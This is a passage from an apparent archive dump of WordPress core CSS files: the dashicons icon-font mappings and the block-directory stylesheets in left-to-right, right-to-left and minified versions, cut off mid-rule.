format("truetype");font-weight:400;font-style:normal}.dashicons,.dashicons-before:before{font-family:dashicons;display:inline-block;line-height:1;font-weight:400;font-style:normal;speak:never;text-decoration:inherit;text-transform:none;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:20px;height:20px;font-size:20px;vertical-align:top;text-align:center;transition:color .1s ease-in}.dashicons-admin-appearance:before{content:"\f100"}.dashicons-admin-collapse:before{content:"\f148"}.dashicons-admin-comments:before{content:"\f101"}.dashicons-admin-customizer:before{content:"\f540"}.dashicons-admin-generic:before{content:"\f111"}.dashicons-admin-home:before{content:"\f102"}.dashicons-admin-links:before{content:"\f103"}.dashicons-admin-media:before{content:"\f104"}.dashicons-admin-multisite:before{content:"\f541"}.dashicons-admin-network:before{content:"\f112"}.dashicons-admin-page:before{content:"\f105"}.dashicons-admin-plugins:before{content:"\f106"}.dashicons-admin-post:before{content:"\f109"}.dashicons-admin-settings:before{content:"\f108"}.dashicons-admin-site-alt:before{content:"\f11d"}.dashicons-admin-site-alt2:before{content:"\f11e"}.dashicons-admin-site-alt3:before{content:"\f11f"}.dashicons-admin-site:before{content:"\f319"}.dashicons-admin-tools:before{content:"\f107"}.dashicons-admin-users:before{content:"\f110"}.dashicons-airplane:before{content:"\f15f"}.dashicons-album:before{content:"\f514"}.dashicons-align-center:before{content:"\f134"}.dashicons-align-full-width:before{content:"\f114"}.dashicons-align-left:before{content:"\f135"}.dashicons-align-none:before{content:"\f138"}.dashicons-align-pull-left:before{content:"\f10a"}.dashicons-align-pull-right:before{content:"\f10b"}.dashicons-align-right:before{content:"\f136"}.dashicons-align-wide:before{content:"\f11b"}.dashicons-amazon:before{content:"\f162"}.dashicons-analytics:before{content:"\f183"}.dashicons-archive:before{content:"\f480"}.dashicons-arrow-down-alt:before{content:"\f346"}.dashicons-arrow-down-alt2:before{content:"\f347"}.dashicons-arrow-down:before{content:"\f140"}.dashicons-arrow-left-alt:before{content:"\f340"}.dashicons-arrow-left-alt2:before{content:"\f341"}.dashicons-arrow-left:before{content:"\f141"}.dashicons-arrow-right-alt:before{content:"\f344"}.dashicons-arrow-right-alt2:before{content:"\f345"}.dashicons-arrow-right:before{content:"\f139"}.dashicons-arrow-up-alt:before{content:"\f342"}.dashicons-arrow-up-alt2:before{content:"\f343"}.dashicons-arrow-up-duplicate:before{content:"\f143"}.dashicons-arrow-up:before{content:"\f142"}.dashicons-art:before{content:"\f309"}.dashicons-awards:before{content:"\f313"}.dashicons-backup:before{content:"\f321"}.dashicons-bank:before{content:"\f16a"}.dashicons-beer:before{content:"\f16c"}.dashicons-bell:before{content:"\f16d"}.dashicons-block-default:before{content:"\f12b"}.dashicons-book-alt:before{content:"\f331"}.dashicons-book:before{content:"\f330"}.dashicons-buddicons-activity:before{content:"\f452"}.dashicons-buddicons-bbpress-logo:before{content:"\f477"}.dashicons-buddicons-buddypress-logo:before{content:"\f448"}.dashicons-buddicons-community:before{content:"\f453"}.dashicons-buddicons-forums:before{content:"\f449"}.dashicons-buddicons-friends:before{content:"\f454"}.dashicons-buddicons-groups:before{content:"\f456"}.dashicons-buddicons-pm:before{content:"\f457"}.dashicons-buddicons-replies:before{content:"\f451"}.dashicons-buddicons-topics:before{content:"\f450"}.dashicons-buddicons-tracking:before{content:"\f455"}.dashicons-building:before{content:"\f512"}.dashicons-businessman:before{content:"\f338"}.dashicons-businessperson:before{content:"\f12e"}.dashicons-businesswoman:before{content:"\f12f"}.dashicons-button:before{content:"\f11a"}.dashicons-calculator:before{content:"\f16e"}.dashicons-calendar-alt:before{content:"\f508"}.dashicons-calendar:before{content:"\f145"}.dashicons-camera-alt:before{content:"\f129"}.dashicons-camera:before{content:"\f306"}.dashicons-car:before{content:"\f16b"}.dashicons-carrot:before{content:"\f511"}.dashicons-cart:before{content:"\f174"}.dashicons-category:before{content:"\f318"}.dashicons-chart-area:before{content:"\f239"}.dashicons-chart-bar:before{content:"\f185"}.dashicons-chart-line:before{content:"\f238"}.dashicons-chart-pie:before{content:"\f184"}.dashicons-clipboard:before{content:"\f481"}.dashicons-clock:before{content:"\f469"}.dashicons-cloud-saved:before{content:"\f137"}.dashicons-cloud-upload:before{content:"\f13b"}.dashicons-cloud:before{content:"\f176"}.dashicons-code-standards:before{content:"\f13a"}.dashicons-coffee:before{content:"\f16f"}.dashicons-color-picker:before{content:"\f131"}.dashicons-columns:before{content:"\f13c"}.dashicons-controls-back:before{content:"\f518"}.dashicons-controls-forward:before{content:"\f519"}.dashicons-controls-pause:before{content:"\f523"}.dashicons-controls-play:before{content:"\f522"}.dashicons-controls-repeat:before{content:"\f515"}.dashicons-controls-skipback:before{content:"\f516"}.dashicons-controls-skipforward:before{content:"\f517"}.dashicons-controls-volumeoff:before{content:"\f520"}.dashicons-controls-volumeon:before{content:"\f521"}.dashicons-cover-image:before{content:"\f13d"}.dashicons-dashboard:before{content:"\f226"}.dashicons-database-add:before{content:"\f170"}.dashicons-database-export:before{content:"\f17a"}.dashicons-database-import:before{content:"\f17b"}.dashicons-database-remove:before{content:"\f17c"}.dashicons-database-view:before{content:"\f17d"}.dashicons-database:before{content:"\f17e"}.dashicons-desktop:before{content:"\f472"}.dashicons-dismiss:before{content:"\f153"}.dashicons-download:before{content:"\f316"}.dashicons-drumstick:before{content:"\f17f"}.dashicons-edit-large:before{content:"\f327"}.dashicons-edit-page:before{content:"\f186"}.dashicons-edit:before{content:"\f464"}.dashicons-editor-aligncenter:before{content:"\f207"}.dashicons-editor-alignleft:before{content:"\f206"}.dashicons-editor-alignright:before{content:"\f208"}.dashicons-editor-bold:before{content:"\f200"}.dashicons-editor-break:before{content:"\f474"}.dashicons-editor-code-duplicate:before{content:"\f494"}.dashicons-editor-code:before{content:"\f475"}.dashicons-editor-contract:before{content:"\f506"}.dashicons-editor-customchar:before{content:"\f220"}.dashicons-editor-expand:before{content:"\f211"}.dashicons-editor-help:before{content:"\f223"}.dashicons-editor-indent:before{content:"\f222"}.dashicons-editor-insertmore:before{content:"\f209"}.dashicons-editor-italic:before{content:"\f201"}.dashicons-editor-justify:before{content:"\f214"}.dashicons-editor-kitchensink:before{content:"\f212"}.dashicons-editor-ltr:before{content:"\f10c"}.dashicons-editor-ol-rtl:before{content:"\f12c"}.dashicons-editor-ol:before{content:"\f204"}.dashicons-editor-outdent:before{content:"\f221"}.dashicons-editor-paragraph:before{content:"\f476"}.dashicons-editor-paste-text:before{content:"\f217"}.dashicons-editor-paste-word:before{content:"\f216"}.dashicons-editor-quote:before{content:"\f205"}.dashicons-editor-removeformatting:before{content:"\f218"}.dashicons-editor-rtl:before{content:"\f320"}.dashicons-editor-spellcheck:before{content:"\f210"}.dashicons-editor-strikethrough:before{content:"\f224"}.dashicons-editor-table:before{content:"\f535"}.dashicons-editor-textcolor:before{content:"\f215"}.dashicons-editor-ul:before{content:"\f203"}.dashicons-editor-underline:before{content:"\f213"}.dashicons-editor-unlink:before{content:"\f225"}.dashicons-editor-video:before{content:"\f219"}.dashicons-ellipsis:before{content:"\f11c"}.dashicons-email-alt:before{content:"\f466"}.dashicons-email-alt2:before{content:"\f467"}.dashicons-email:before{content:"\f465"}.dashicons-embed-audio:before{content:"\f13e"}.dashicons-embed-generic:before{content:"\f13f"}.dashicons-embed-photo:before{content:"\f144"}.dashicons-embed-post:before{content:"\f146"}.dashicons-embed-video:before{content:"\f149"}.dashicons-excerpt-view:before{content:"\f164"}.dashicons-exit:before{content:"\f14a"}.dashicons-external:before{content:"\f504"}.dashicons-facebook-alt:before{content:"\f305"}.dashicons-facebook:before{content:"\f304"}.dashicons-feedback:before{content:"\f175"}.dashicons-filter:before{content:"\f536"}.dashicons-flag:before{content:"\f227"}.dashicons-food:before{content:"\f187"}.dashicons-format-aside:before{content:"\f123"}.dashicons-format-audio:before{content:"\f127"}.dashicons-format-chat:before{content:"\f125"}.dashicons-format-gallery:before{content:"\f161"}.dashicons-format-image:before{content:"\f128"}.dashicons-format-quote:before{content:"\f122"}.dashicons-format-status:before{content:"\f130"}.dashicons-format-video:before{content:"\f126"}.dashicons-forms:before{content:"\f314"}.dashicons-fullscreen-alt:before{content:"\f188"}.dashicons-fullscreen-exit-alt:before{content:"\f189"}.dashicons-games:before{content:"\f18a"}.dashicons-google:before{content:"\f18b"}.dashicons-googleplus:before{content:"\f462"}.dashicons-grid-view:before{content:"\f509"}.dashicons-groups:before{content:"\f307"}.dashicons-hammer:before{content:"\f308"}.dashicons-heading:before{content:"\f10e"}.dashicons-heart:before{content:"\f487"}.dashicons-hidden:before{content:"\f530"}.dashicons-hourglass:before{content:"\f18c"}.dashicons-html:before{content:"\f14b"}.dashicons-id-alt:before{content:"\f337"}.dashicons-id:before{content:"\f336"}.dashicons-image-crop:before{content:"\f165"}.dashicons-image-filter:before{content:"\f533"}.dashicons-image-flip-horizontal:before{content:"\f169"}.dashicons-image-flip-vertical:before{content:"\f168"}.dashicons-image-rotate-left:before{content:"\f166"}.dashicons-image-rotate-right:before{content:"\f167"}.dashicons-image-rotate:before{content:"\f531"}.dashicons-images-alt:before{content:"\f232"}.dashicons-images-alt2:before{content:"\f233"}.dashicons-index-card:before{content:"\f510"}.dashicons-info-outline:before{content:"\f14c"}.dashicons-info:before{content:"\f348"}.dashicons-insert-after:before{content:"\f14d"}.dashicons-insert-before:before{content:"\f14e"}.dashicons-insert:before{content:"\f10f"}.dashicons-instagram:before{content:"\f12d"}.dashicons-laptop:before{content:"\f547"}.dashicons-layout:before{content:"\f538"}.dashicons-leftright:before{content:"\f229"}.dashicons-lightbulb:before{content:"\f339"}.dashicons-linkedin:before{content:"\f18d"}.dashicons-list-view:before{content:"\f163"}.dashicons-location-alt:before{content:"\f231"}.dashicons-location:before{content:"\f230"}.dashicons-lock-duplicate:before{content:"\f315"}.dashicons-lock:before{content:"\f160"}.dashicons-marker:before{content:"\f159"}.dashicons-media-archive:before{content:"\f501"}.dashicons-media-audio:before{content:"\f500"}.dashicons-media-code:before{content:"\f499"}.dashicons-media-default:before{content:"\f498"}.dashicons-media-document:before{content:"\f497"}.dashicons-media-interactive:before{content:"\f496"}.dashicons-media-spreadsheet:before{content:"\f495"}.dashicons-media-text:before{content:"\f491"}.dashicons-media-video:before{content:"\f490"}.dashicons-megaphone:before{content:"\f488"}.dashicons-menu-alt:before{content:"\f228"}.dashicons-menu-alt2:before{content:"\f329"}.dashicons-menu-alt3:before{content:"\f349"}.dashicons-menu:before{content:"\f333"}.dashicons-microphone:before{content:"\f482"}.dashicons-migrate:before{content:"\f310"}.dashicons-minus:before{content:"\f460"}.dashicons-money-alt:before{content:"\f18e"}.dashicons-money:before{content:"\f526"}.dashicons-move:before{content:"\f545"}.dashicons-nametag:before{content:"\f484"}.dashicons-networking:before{content:"\f325"}.dashicons-no-alt:before{content:"\f335"}.dashicons-no:before{content:"\f158"}.dashicons-open-folder:before{content:"\f18f"}.dashicons-palmtree:before{content:"\f527"}.dashicons-paperclip:before{content:"\f546"}.dashicons-pdf:before{content:"\f190"}.dashicons-performance:before{content:"\f311"}.dashicons-pets:before{content:"\f191"}.dashicons-phone:before{content:"\f525"}.dashicons-pinterest:before{content:"\f192"}.dashicons-playlist-audio:before{content:"\f492"}.dashicons-playlist-video:before{content:"\f493"}.dashicons-plugins-checked:before{content:"\f485"}.dashicons-plus-alt:before{content:"\f502"}.dashicons-plus-alt2:before{content:"\f543"}.dashicons-plus:before{content:"\f132"}.dashicons-podio:before{content:"\f19c"}.dashicons-portfolio:before{content:"\f322"}.dashicons-post-status:before{content:"\f173"}.dashicons-pressthis:before{content:"\f157"}.dashicons-printer:before{content:"\f193"}.dashicons-privacy:before{content:"\f194"}.dashicons-products:before{content:"\f312"}.dashicons-randomize:before{content:"\f503"}.dashicons-reddit:before{content:"\f195"}.dashicons-redo:before{content:"\f172"}.dashicons-remove:before{content:"\f14f"}.dashicons-rest-api:before{content:"\f124"}.dashicons-rss:before{content:"\f303"}.dashicons-saved:before{content:"\f15e"}.dashicons-schedule:before{content:"\f489"}.dashicons-screenoptions:before{content:"\f180"}.dashicons-search:before{content:"\f179"}.dashicons-share-alt:before{content:"\f240"}.dashicons-share-alt2:before{content:"\f242"}.dashicons-share:before{content:"\f237"}.dashicons-shield-alt:before{content:"\f334"}.dashicons-shield:before{content:"\f332"}.dashicons-shortcode:before{content:"\f150"}.dashicons-slides:before{content:"\f181"}.dashicons-smartphone:before{content:"\f470"}.dashicons-smiley:before{content:"\f328"}.dashicons-sort:before{content:"\f156"}.dashicons-sos:before{content:"\f468"}.dashicons-spotify:before{content:"\f196"}.dashicons-star-empty:before{content:"\f154"}.dashicons-star-filled:before{content:"\f155"}.dashicons-star-half:before{content:"\f459"}.dashicons-sticky:before{content:"\f537"}.dashicons-store:before{content:"\f513"}.dashicons-superhero-alt:before{content:"\f197"}.dashicons-superhero:before{content:"\f198"}.dashicons-table-col-after:before{content:"\f151"}.dashicons-table-col-before:before{content:"\f152"}.dashicons-table-col-delete:before{content:"\f15a"}.dashicons-table-row-after:before{content:"\f15b"}.dashicons-table-row-before:before{content:"\f15c"}.dashicons-table-row-delete:before{content:"\f15d"}.dashicons-tablet:before{content:"\f471"}.dashicons-tag:before{content:"\f323"}.dashicons-tagcloud:before{content:"\f479"}.dashicons-testimonial:before{content:"\f473"}.dashicons-text-page:before{content:"\f121"}.dashicons-text:before{content:"\f478"}.dashicons-thumbs-down:before{content:"\f542"}.dashicons-thumbs-up:before{content:"\f529"}.dashicons-tickets-alt:before{content:"\f524"}.dashicons-tickets:before{content:"\f486"}.dashicons-tide:before{content:"\f10d"}.dashicons-translation:before{content:"\f326"}.dashicons-trash:before{content:"\f182"}.dashicons-twitch:before{content:"\f199"}.dashicons-twitter-alt:before{content:"\f302"}.dashicons-twitter:before{content:"\f301"}.dashicons-undo:before{content:"\f171"}.dashicons-universal-access-alt:before{content:"\f507"}.dashicons-universal-access:before{content:"\f483"}.dashicons-unlock:before{content:"\f528"}.dashicons-update-alt:before{content:"\f113"}.dashicons-update:before{content:"\f463"}.dashicons-upload:before{content:"\f317"}.dashicons-vault:before{content:"\f178"}.dashicons-video-alt:before{content:"\f234"}.dashicons-video-alt2:before{content:"\f235"}.dashicons-video-alt3:before{content:"\f236"}.dashicons-visibility:before{content:"\f177"}.dashicons-warning:before{content:"\f534"}.dashicons-welcome-add-page:before{content:"\f133"}.dashicons-welcome-comments:before{content:"\f117"}.dashicons-welcome-learn-more:before{content:"\f118"}.dashicons-welcome-view-site:before{content:"\f115"}.dashicons-welcome-widgets-menus:before{content:"\f116"}.dashicons-welcome-write-blog:before{content:"\f119"}.dashicons-whatsapp:before{content:"\f19a"}.dashicons-wordpress-alt:before{content:"\f324"}.dashicons-wordpress:before{content:"\f120"}.dashicons-xing:before{content:"\f19d"}.dashicons-yes-alt:before{content:"\f12a"}.dashicons-yes:before{content:"\f147"}.dashicons-youtube:before{content:"\f19b"}.dashicons-editor-distractionfree:before{content:"\f211"}.dashicons-exerpt-view:before{content:"\f164"}.dashicons-format-links:before{content:"\f103"}.dashicons-format-standard:before{content:"\f109"}.dashicons-post-trash:before{content:"\f182"}.dashicons-share1:before{content:"\f237"}.dashicons-welcome-edit-page:before{content:"\f119"}css/dist/block-directory/style-rtl.css000064400000013567151202620300014047 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .block-directory-block-ratings { display: flex; } .block-directory-block-ratings > div { line-height: 1; display: flex; } .block-directory-block-ratings .block-directory-block-ratings__rating-count { font-size: ms(-2); } .block-directory-block-ratings svg { fill: #ffb900; } .block-directory-compact-list { margin: 0; list-style: none; } .block-directory-compact-list__item { display: flex; flex-direction: row; align-items: center; margin-bottom: 16px; } .block-directory-compact-list__item:last-child { margin-bottom: 0; } .block-directory-compact-list__item-details { margin-right: 8px; } .block-directory-compact-list__item-title { font-weight: 500; } .block-directory-compact-list__item-author { color: #757575; font-size: 11px; } .block-directory-downloadable-block-author-info__content { font-size: 12px; } .block-directory-downloadable-block-author-info__content-author { margin-bottom: 4px; font-size: 13px; } .block-directory-downloadable-block-header__row { display: flex; flex-grow: 1; } .block-directory-downloadable-block-header__row .block-directory-downloadable-block-header__column { display: flex; flex-direction: column; flex-grow: 1; padding-right: 12px; } .block-directory-downloadable-block-header__title { margin: 0; font-size: 13px; color: currentColor; } .block-directory-downloadable-block-icon { width: 36px; height: 36px; } .block-directory-downloadable-block-icon .block-editor-block-icon { width: 36px; height: 36px; font-size: 36px; background-color: #ddd; } .block-directory-downloadable-block-icon > img { width: 100%; } .block-directory-downloadable-block-info__content { margin: 0 0 16px; font-size: 13px; } .block-directory-downloadable-block-info__meta { display: flex; align-items: center; margin-bottom: 2px; color: #757575; font-size: 12px; } .block-directory-downloadable-block-info__meta:last-child { margin-bottom: 0; } .block-directory-downloadable-block-info__icon { margin-left: 4px; fill: #757575; } .block-directory-downloadable-block-list-item { width: 100%; padding: 0; margin: 0; display: flex; flex-direction: row; font-size: 13px; color: #1e1e1e; align-items: flex-start; justify-content: center; background: transparent; word-break: break-word; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; transition: all 0.05s ease-in-out; position: relative; text-align: right; overflow: hidden; } @media (prefers-reduced-motion: reduce) { .block-directory-downloadable-block-list-item { transition-duration: 0s; } } .block-directory-downloadable-block-list-item + .block-directory-downloadable-block-list-item { border-top: none; } .block-directory-downloadable-block-list-item:last-child:not(:only-of-type) { border-top: 0; } .block-directory-downloadable-block-list-item:last-child { border-bottom: 0; } .block-directory-downloadable-block-list-item__panel { display: flex; flex-grow: 1; flex-direction: column; } .block-directory-downloadable-block-list-item__header { display: flex; flex-direction: column; padding: 16px 16px 0; } .block-directory-downloadable-block-list-item__body { display: flex; flex-direction: column; padding: 16px; } .block-directory-downloadable-block-list-item__footer { display: flex; flex-direction: column; padding: 16px; background-color: #f0f0f0; } .block-directory-downloadable-block-list-item__content { color: #757575; } .block-directory-downloadable-block-notice { margin: 0 0 16px; } .block-directory-downloadable-block-notice__content { padding-left: 12px; margin-bottom: 8px; } .block-directory-downloadable-blocks-list { list-style: none; margin: 0; overflow: hidden; display: flex; flex-wrap: wrap; } .block-directory-downloadable-blocks-panel__description { font-style: italic; padding: 16px; margin: 0; text-align: right; color: #757575; } .block-directory-downloadable-blocks-panel__description.has-no-results { font-style: normal; padding: 0; margin: 112px 0; text-align: center; color: #757575; } .block-directory-downloadable-blocks-panel__description.has-no-results .components-spinner { float: inherit; } .installed-blocks-pre-publish-panel__copy { margin-top: 0; }css/dist/block-directory/style-rtl.min.css000064400000007600151202620300014620 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings{display:flex}.block-directory-block-ratings>div{line-height:1;display:flex}.block-directory-block-ratings .block-directory-block-ratings__rating-count{font-size:ms(-2)}.block-directory-block-ratings svg{fill:#ffb900}.block-directory-compact-list{margin:0;list-style:none}.block-directory-compact-list__item{display:flex;flex-direction:row;align-items:center;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-right:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-author-info__content{font-size:12px}.block-directory-downloadable-block-author-info__content-author{margin-bottom:4px;font-size:13px}.block-directory-downloadable-block-header__row{display:flex;flex-grow:1}.block-directory-downloadable-block-header__row .block-directory-downloadable-block-header__column{display:flex;flex-direction:column;flex-grow:1;padding-right:12px}.block-directory-downloadable-block-header__title{margin:0;font-size:13px;color:currentColor}.block-directory-downloadable-block-icon{width:36px;height:36px}.block-directory-downloadable-block-icon .block-editor-block-icon{width:36px;height:36px;font-size:36px;background-color:#ddd}.block-directory-downloadable-block-icon>img{width:100%}.block-directory-downloadable-block-info__content{margin:0 0 16px;font-size:13px}.block-directory-downloadable-block-info__meta{display:flex;align-items:center;margin-bottom:2px;color:#757575;font-size:12px}.block-directory-downloadable-block-info__meta:last-child{margin-bottom:0}.block-directory-downloadable-block-info__icon{margin-left:4px;fill:#757575}.block-directory-downloadable-block-list-item{width:100%;padding:0;margin:0;display:flex;flex-direction:row;font-size:13px;color:#1e1e1e;align-items:flex-start;justify-content:center;background:transparent;word-break:break-word;border-top:1px solid #ddd;border-bottom:1px solid #ddd;transition:all .05s ease-in-out;position:relative;text-align:right;overflow:hidden}@media (prefers-reduced-motion:reduce){.block-directory-downloadable-block-list-item{transition-duration:0s}}.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{border-top:none}.block-directory-downloadable-block-list-item:last-child:not(:only-of-type){border-top:0}.block-directory-downloadable-block-list-item:last-child{border-bottom:0}.block-directory-downloadable-block-list-item__panel{display:flex;flex-grow:1;flex-direction:column}.block-directory-downloadable-block-list-item__header{display:flex;flex-direction:column;padding:16px 16px 0}.block-directory-downloadable-block-list-item__body{display:flex;flex-direction:column;padding:16px}.block-directory-downloadable-block-list-item__footer{display:flex;flex-direction:column;padding:16px;background-color:#f0f0f0}.block-directory-downloadable-block-list-item__content{color:#757575}.block-directory-downloadable-block-notice{margin:0 0 16px}.block-directory-downloadable-block-notice__content{padding-left:12px;margin-bottom:8px}.block-directory-downloadable-blocks-list{list-style:none;margin:0;overflow:hidden;display:flex;flex-wrap:wrap}.block-directory-downloadable-blocks-panel__description{font-style:italic;padding:16px;margin:0;text-align:right;color:#757575}.block-directory-downloadable-blocks-panel__description.has-no-results{font-style:normal;padding:0;margin:112px 0;text-align:center;color:#757575}.block-directory-downloadable-blocks-panel__description.has-no-results .components-spinner{float:inherit}.installed-blocks-pre-publish-panel__copy{margin-top:0}css/dist/block-directory/style.css000064400000013565151202620300013246 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .block-directory-block-ratings { display: flex; } .block-directory-block-ratings > div { line-height: 1; display: flex; } .block-directory-block-ratings .block-directory-block-ratings__rating-count { font-size: ms(-2); } .block-directory-block-ratings svg { fill: #ffb900; } .block-directory-compact-list { margin: 0; list-style: none; } .block-directory-compact-list__item { display: flex; flex-direction: row; align-items: center; margin-bottom: 16px; } .block-directory-compact-list__item:last-child { margin-bottom: 0; } .block-directory-compact-list__item-details { margin-left: 8px; } .block-directory-compact-list__item-title { font-weight: 500; } .block-directory-compact-list__item-author { color: #757575; font-size: 11px; } .block-directory-downloadable-block-author-info__content { font-size: 12px; } .block-directory-downloadable-block-author-info__content-author { margin-bottom: 4px; font-size: 13px; } .block-directory-downloadable-block-header__row { display: flex; flex-grow: 1; } .block-directory-downloadable-block-header__row .block-directory-downloadable-block-header__column { display: flex; flex-direction: column; flex-grow: 1; padding-left: 12px; } .block-directory-downloadable-block-header__title { margin: 0; font-size: 13px; color: currentColor; } .block-directory-downloadable-block-icon { width: 36px; height: 36px; } .block-directory-downloadable-block-icon .block-editor-block-icon { width: 36px; height: 36px; font-size: 36px; background-color: #ddd; } .block-directory-downloadable-block-icon > img { width: 100%; } .block-directory-downloadable-block-info__content { margin: 0 0 16px; font-size: 13px; } .block-directory-downloadable-block-info__meta { display: flex; align-items: center; margin-bottom: 2px; color: #757575; font-size: 12px; } .block-directory-downloadable-block-info__meta:last-child { margin-bottom: 0; } .block-directory-downloadable-block-info__icon { margin-right: 4px; fill: #757575; } .block-directory-downloadable-block-list-item { width: 100%; padding: 0; margin: 0; display: flex; flex-direction: row; font-size: 13px; color: #1e1e1e; align-items: flex-start; justify-content: center; background: transparent; word-break: break-word; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; transition: all 0.05s ease-in-out; position: relative; text-align: left; overflow: hidden; } @media (prefers-reduced-motion: reduce) { .block-directory-downloadable-block-list-item { transition-duration: 0s; } } .block-directory-downloadable-block-list-item + .block-directory-downloadable-block-list-item { border-top: none; } .block-directory-downloadable-block-list-item:last-child:not(:only-of-type) { border-top: 0; } .block-directory-downloadable-block-list-item:last-child { border-bottom: 0; } .block-directory-downloadable-block-list-item__panel { display: flex; flex-grow: 1; flex-direction: column; } .block-directory-downloadable-block-list-item__header { display: flex; flex-direction: column; padding: 16px 16px 0; } .block-directory-downloadable-block-list-item__body { display: flex; flex-direction: column; padding: 16px; } .block-directory-downloadable-block-list-item__footer { display: flex; flex-direction: column; padding: 16px; background-color: #f0f0f0; } .block-directory-downloadable-block-list-item__content { color: #757575; } .block-directory-downloadable-block-notice { margin: 0 0 16px; } .block-directory-downloadable-block-notice__content { padding-right: 12px; margin-bottom: 8px; } .block-directory-downloadable-blocks-list { list-style: none; margin: 0; overflow: hidden; display: flex; flex-wrap: wrap; } .block-directory-downloadable-blocks-panel__description { font-style: italic; padding: 16px; margin: 0; text-align: left; color: #757575; } .block-directory-downloadable-blocks-panel__description.has-no-results { font-style: normal; padding: 0; margin: 112px 0; text-align: center; color: #757575; } .block-directory-downloadable-blocks-panel__description.has-no-results .components-spinner { float: inherit; } .installed-blocks-pre-publish-panel__copy { margin-top: 0; }css/dist/block-directory/style.min.css000064400000007576151202620300014035 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings{display:flex}.block-directory-block-ratings>div{line-height:1;display:flex}.block-directory-block-ratings .block-directory-block-ratings__rating-count{font-size:ms(-2)}.block-directory-block-ratings svg{fill:#ffb900}.block-directory-compact-list{margin:0;list-style:none}.block-directory-compact-list__item{display:flex;flex-direction:row;align-items:center;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-left:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-author-info__content{font-size:12px}.block-directory-downloadable-block-author-info__content-author{margin-bottom:4px;font-size:13px}.block-directory-downloadable-block-header__row{display:flex;flex-grow:1}.block-directory-downloadable-block-header__row .block-directory-downloadable-block-header__column{display:flex;flex-direction:column;flex-grow:1;padding-left:12px}.block-directory-downloadable-block-header__title{margin:0;font-size:13px;color:currentColor}.block-directory-downloadable-block-icon{width:36px;height:36px}.block-directory-downloadable-block-icon .block-editor-block-icon{width:36px;height:36px;font-size:36px;background-color:#ddd}.block-directory-downloadable-block-icon>img{width:100%}.block-directory-downloadable-block-info__content{margin:0 0 16px;font-size:13px}.block-directory-downloadable-block-info__meta{display:flex;align-items:center;margin-bottom:2px;color:#757575;font-size:12px}.block-directory-downloadable-block-info__meta:last-child{margin-bottom:0}.block-directory-downloadable-block-info__icon{margin-right:4px;fill:#757575}.block-directory-downloadable-block-list-item{width:100%;padding:0;margin:0;display:flex;flex-direction:row;font-size:13px;color:#1e1e1e;align-items:flex-start;justify-content:center;background:transparent;word-break:break-word;border-top:1px solid #ddd;border-bottom:1px solid #ddd;transition:all .05s ease-in-out;position:relative;text-align:left;overflow:hidden}@media 